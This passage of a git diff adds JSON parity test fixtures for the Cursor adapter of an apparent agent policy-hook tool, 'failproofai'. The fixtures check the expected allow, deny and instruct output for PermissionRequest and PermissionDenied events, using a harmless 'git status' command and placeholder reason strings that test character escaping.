b/__tests__/parity/fixtures/cursor/PermissionDenied/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..dacbc249 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PermissionDenied/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PermissionDenied/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/PermissionDenied/deny__tool-present__one-policy.json new file mode 100644 index 00000000..97115f27 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PermissionDenied/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PermissionDenied/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/PermissionDenied/deny__tool-present__two-policies.json new file mode 100644 index 00000000..a9da8d9b --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PermissionDenied/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PermissionDenied/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/PermissionDenied/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..8b2ad329 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PermissionDenied/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PermissionDenied/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/PermissionDenied/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..b39d3dc1 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PermissionDenied/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PermissionDenied/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/PermissionDenied/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..d33bedac --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PermissionDenied/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PermissionDenied/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/PermissionDenied/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..7180d35f --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PermissionDenied/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PermissionRequest/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/PermissionRequest/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..bff95647 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PermissionRequest/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PermissionRequest/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/PermissionRequest/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..3f7254a4 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PermissionRequest/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PermissionRequest/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/PermissionRequest/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..68b2343c --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PermissionRequest/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PermissionRequest/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/PermissionRequest/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..226b4c2a --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PermissionRequest/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PermissionRequest/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/PermissionRequest/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..6ce2d897 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PermissionRequest/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PermissionRequest/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/PermissionRequest/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..626a81c2 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PermissionRequest/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PermissionRequest/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/PermissionRequest/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..4d39d76d --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PermissionRequest/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PermissionRequest/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/PermissionRequest/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..a5ac10b0 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PermissionRequest/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PermissionRequest/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/PermissionRequest/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..9f9d6690 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PermissionRequest/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PermissionRequest/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/PermissionRequest/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..96a1cb82 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PermissionRequest/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PermissionRequest/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/PermissionRequest/deny__tool-present__one-policy.json new file mode 100644 index 00000000..f97bd678 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PermissionRequest/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai 